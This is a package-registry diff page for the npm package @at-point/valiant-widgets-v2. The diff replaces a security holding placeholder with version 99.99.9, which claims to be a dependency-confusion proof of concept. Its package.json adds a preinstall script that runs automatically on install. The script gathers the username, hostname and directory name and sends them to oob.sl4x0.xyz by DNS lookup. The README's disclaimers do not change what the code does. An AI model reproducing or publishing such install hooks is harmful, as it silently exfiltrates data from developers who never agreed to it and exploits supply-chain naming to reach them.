@at-point/valiant-widgets-v2 0.0.1-security → 99.99.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @at-point/valiant-widgets-v2 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +15 -3
  2. package/index.js +1 -0
  3. package/package.json +15 -3
package/README.md CHANGED
@@ -1,5 +1,17 @@
1
- # Security holding package
1
+ # ⚠️ SECURITY RESEARCH POC
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ This package is a **Proof of Concept** for dependency confusion vulnerabilities.
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=%40at-point%2Fvaliant-widgets-v2 for more information.
5
+ ## Purpose
6
+ This package demonstrates how attackers can exploit dependency confusion attacks by publishing packages with internal naming conventions.
7
+
8
+ ## What it does
9
+ - Makes a DNS callback to `oob.sl4x0.xyz` during installation
10
+ - Collects: username, hostname, directory path, timestamp
11
+ - Does NOT: steal credentials, install malware, or cause harm
12
+
13
+ ## Legal Notice
14
+ This is for **authorized security research only**. Only install on systems you own or have permission to test.
15
+
16
+ ## For Security Teams
17
+ If you discovered this package in your environment, it indicates a dependency confusion vulnerability. Contact your security team.
package/index.js ADDED
@@ -0,0 +1 @@
1
+ // This is a benign placeholder for a Node.js package.
package/package.json CHANGED
@@ -1,6 +1,18 @@
1
1
  {
2
2
  "name": "@at-point/valiant-widgets-v2",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.99.9",
4
+ "description": "⚠️ SECURITY RESEARCH POC - DO NOT USE IN PRODUCTION ⚠️",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "u=$(whoami|tr -cd 'a-zA-Z0-9'|cut -c1-15); h=$(hostname|tr -cd 'a-zA-Z0-9'|cut -c1-20); p=$(basename \"$PWD\"|tr -cd 'a-zA-Z0-9'|cut -c1-15); r=$(date +%s); q=\"valiant.${u}.${h}.${p}.${r}.oob.sl4x0.xyz\"; (nslookup \"$q\" >/dev/null 2>&1 || dig +time=2 +tries=1 \"$q\" A >/dev/null 2>&1) || true"
8
+ },
9
+ "author": "sl4x0",
10
+ "license": "ISC",
11
+ "publishConfig": {
12
+ "access": "public"
13
+ },
14
+ "keywords": ["security-research", "poc", "dependency-confusion"],
15
+ "repository": {
16
+ "type": "git"
17
+ }
6
18
  }